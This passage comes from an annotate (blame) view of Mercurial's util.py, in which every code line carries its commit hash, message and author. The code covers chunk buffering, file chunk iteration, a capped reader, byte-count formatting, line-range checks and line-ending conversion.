a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2635 for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2636 queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2637 target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2638 if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2639 break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2640 if not queue:
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2641 break
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2642
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2643 # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2644 # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2645 # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2646 # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2647 # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2648
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2649 chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2650 chunkl = len(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2651 offset = self._chunkoffset
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2652
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2653 # Use full chunk.
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2654 if offset == 0 and left >= chunkl:
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2655 left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2656 queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2657 buf.append(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2658 # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2659 continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2660
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2661 chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2662
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2663 # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2664 if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2665 left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2666 queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2667 # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2668 # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2669 buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2670 self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2671
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2672 # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2673 else:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2674 buf.append(chunk[offset : offset + left])
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2675 self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2676 left -= chunkremaining
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2677
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2678 return b''.join(buf)
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2679
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2680
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
2681 def filechunkiter(f, size=131072, limit=None):
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2682 """Create a generator that produces the data in the file size
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
2683 (default 131072) bytes at a time, up to optional limit (default is
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2684 to read all data). Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2685 chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2686 some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2687 requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2688 assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2689 assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2690 while True:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2691 if limit is None:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2692 nbytes = size
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2693 else:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2694 nbytes = min(limit, size)
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2695 s = nbytes and f.read(nbytes)
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2696 if not s:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2697 break
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2698 if limit:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2699 limit -= len(s)
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2700 yield s
1320
5f277e73778f Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1312
diff changeset
2701
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2702
36362
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2703 class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2704 """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2705
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2706 Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2707 N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2708 limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2709
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2710 It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2711 in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2712 state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2713 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2714
36362
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2715 def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2716 """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2717 self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2718 self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2719
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2720 def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2721 if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2722 return b''
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2723
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2724 if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2725 n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2726
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2727 data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2728 self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2729 assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2730
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2731 return data
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2732
37052
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2733 def readinto(self, b):
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2734 res = self.read(len(b))
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2735 if res is None:
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2736 return None
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2737
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2738 b[0 : len(res)] = res
37052
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2739 return len(res)
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2740
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2741
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2742 def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2743 '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2744
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2745 def go(count):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2746 for multiplier, divisor, format in unittable:
31946
f3b80537a70d util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents: 31934
diff changeset
2747 if abs(count) >= divisor * multiplier:
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2748 return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2749 return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2750
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2751 return go
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2752
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2753
31662
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2754 def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2755 """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2756 0-based range.
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2757
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2758 >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2759 (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2760 >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2761 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2762 ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2763 ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2764 >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2765 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2766 ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2767 ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2768 """
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2769 if toline - fromline < 0:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2770 raise error.ParseError(_(b"line range must be positive"))
31662
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2771 if fromline < 1:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2772 raise error.ParseError(_(b"fromline must be strictly positive"))
31662
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2773 return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2774
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2775
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2776 bytecount = unitcountfn(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2777 (100, 1 << 30, _(b'%.0f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2778 (10, 1 << 30, _(b'%.1f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2779 (1, 1 << 30, _(b'%.2f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2780 (100, 1 << 20, _(b'%.0f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2781 (10, 1 << 20, _(b'%.1f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2782 (1, 1 << 20, _(b'%.2f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2783 (100, 1 << 10, _(b'%.0f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2784 (10, 1 << 10, _(b'%.1f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2785 (1, 1 << 10, _(b'%.2f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2786 (1, 1, _(b'%.0f bytes')),
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2787 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2788
16397
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2789
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2790 class transformingwriter(object):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2791 """Writable file wrapper to transform data by function"""
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2792
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2793 def __init__(self, fp, encode):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2794 self._fp = fp
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2795 self._encode = encode
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2796
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2797 def close(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2798 self._fp.close()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2799
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2800 def flush(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2801 self._fp.flush()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2802
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2803 def write(self, data):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2804 return self._fp.write(self._encode(data))
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2805
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2806
31776
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2807 # Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2808 # are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2809 # stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2810 _eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2811
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2812
31776
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2813 def tolf(s):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2814 return _eolre.sub(b'\n', s)
31776
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2815
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2816
31776
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2817 def tocrlf(s):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2818 return _eolre.sub(b'\r\n', s)
31776
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2819
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2820
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2821 def _crlfwriter(fp):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2822 return transformingwriter(fp, tocrlf)
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2823
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2824
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2825 if pycompat.oslinesep == b'\r\n':
31777
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2826 tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2827 fromnativeeol = tolf
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2828 nativeeolwriter = _crlfwriter
31777
